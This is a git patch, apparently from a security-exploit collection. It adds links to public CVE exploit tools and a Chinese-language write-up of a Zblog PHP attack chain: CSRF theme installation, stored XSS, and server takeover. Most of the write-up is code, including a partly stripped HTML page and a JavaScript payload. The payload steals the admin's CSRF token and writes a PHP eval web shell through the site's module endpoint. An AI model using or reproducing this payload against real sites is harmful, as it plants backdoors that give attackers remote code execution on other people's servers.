From b7d18993bb8e5caebd6b727fbeef13d91e76c784 Mon Sep 17 00:00:00 2001 From: Mrxn Date: Mon, 31 Aug 2020 11:21:44 +0800 Subject: [PATCH] =?UTF-8?q?add=20Zblog=E9=BB=98=E8=AE=A4Theme=5Fcsrf+?= =?UTF-8?q?=E5=82=A8=E5=AD=98xss+getshell?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 3 + Zblog默认Theme_csrf+储存xss+getshell.md | 132 ++++++++++++++++++++++++ 2 files changed, 135 insertions(+) create mode 100644 Zblog默认Theme_csrf+储存xss+getshell.md diff --git a/README.md b/README.md index ef0d8ad..0b00d04 100644 --- a/README.md +++ b/README.md @@ -180,6 +180,9 @@ - [74CMS_v5.0.1后台RCE分析](./books/74CMS_v5.0.1后台RCE分析.pdf) - [CVE-2020-8163 - Remote code execution of user-provided local names in Rails](https://github.com/sh286/CVE-2020-8163) - [【0day RCE】Horde Groupware Webmail Edition RCE](./%E3%80%900day%20RCE%E3%80%91Horde%20Groupware%20Webmail%20Edition%20RCE.md) +- [pulse-gosecure-rce-Tool to test for existence of CVE-2020-8218](https://github.com/withdk/pulse-gosecure-rce-poc) +- [Exploit for Pulse Connect Secure SSL VPN arbitrary file read vulnerability (CVE-2019-11510)](https://github.com/BishopFox/pwn-pulse) +- [Zblog默认Theme_csrf+储存xss+getshell](./Zblog默认Theme_csrf+储存xss+getshell.md) ## 提权辅助相关 diff --git a/Zblog默认Theme_csrf+储存xss+getshell.md b/Zblog默认Theme_csrf+储存xss+getshell.md new file mode 100644 index 0000000..864ac63 --- /dev/null +++ b/Zblog默认Theme_csrf+储存xss+getshell.md @@ -0,0 +1,132 @@ +## Zblog默认Theme_csrf+储存xss+getshell + +原因： +1、后台安装模版没做 csrfToken 验证。可以 csrf 安装指定 Theme +2、zblogPHP 存在一个默认 Theme 名为 metro，存在储存 xss。并且没有验证 csrfToken +3、论坛也有人写这个 getshell 的洞，通过储存 xss 直接 getshell。 + +测试的时候有点久了，然后在官网下载的最新版 https://www.zblogcn.com/zblogphp/ 不存在这个默认 theme +然后看了下 Github 上存在这个 Theme。 + +具体细节我忘记了。不做细节描述 +zblog.html + +```html + + + + zblog test + + + +
+ + + + + + + + + + + + + + + + + + + +
+
+ + + + + +``` + +zblog.js //getshell + +```javascript +function getMeta(metaName) { + const metas = document.getElementsByTagName('meta'); + for (let i = 0; i < metas.length; i++) { + if (metas[i].getAttribute('name') === metaName) { + return metas[i].getAttribute('content'); + } + } + return ''; +} +var csrfToken = getMeta('csrfToken'); + +var pkav={ + ajax:function(){ + var xmlHttp; + try{ + xmlHttp=new XMLHttpRequest(); + }catch (e){ + try{ + xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); + }catch (e){ + try{ + xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); + } + catch (e){ + return false; + } + } + } + return xmlHttp; + }, + req:function(url,data,method,callback){ + method=(method||"").toUpperCase(); + method=method||"GET"; + data=data||""; + if(url){ + var a=this.ajax(); + a.open(method,url,true); + if(method=="POST"){ + a.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + } + a.onreadystatechange=function(){ + if (a.readyState==4 && a.status==200) + { + if(callback){ + callback(a.responseText); + } + } + }; + if((typeof data)=="object"){ + var arr=[]; + for(var i in data){ + arr.push(i+"="+encodeURIComponent(data[i])); + } + a.send(arr.join("&")); + }else{ + a.send(data||null); + } + } + }, + get:function(url,callback){ + this.req(url,"","GET",callback); + }, + post:function(url,data,callback){ + this.req(url,data,"POST",callback); + } +}; + +pkav.post("http://zblog.test/zb_system/cmd.php?act=ModulePst&csrfToken="+csrfToken,"ID=15&Source=theme&Name=theme&IsHideTitle=&FileName=shell&HtmlID=11&Type=div&MaxLi=0&Content=%3C%3Fphp+eval($_POST[1]);%3B%3F%3E&NoRefresh=",function(rs){}); +``` + +备注：新版默认已经没有这个xss主题了，已经修复了！ + +⚠️原文来自吐司，欢迎大家踊跃投稿吐司！https://www.t00ls.net/articles-57673.html +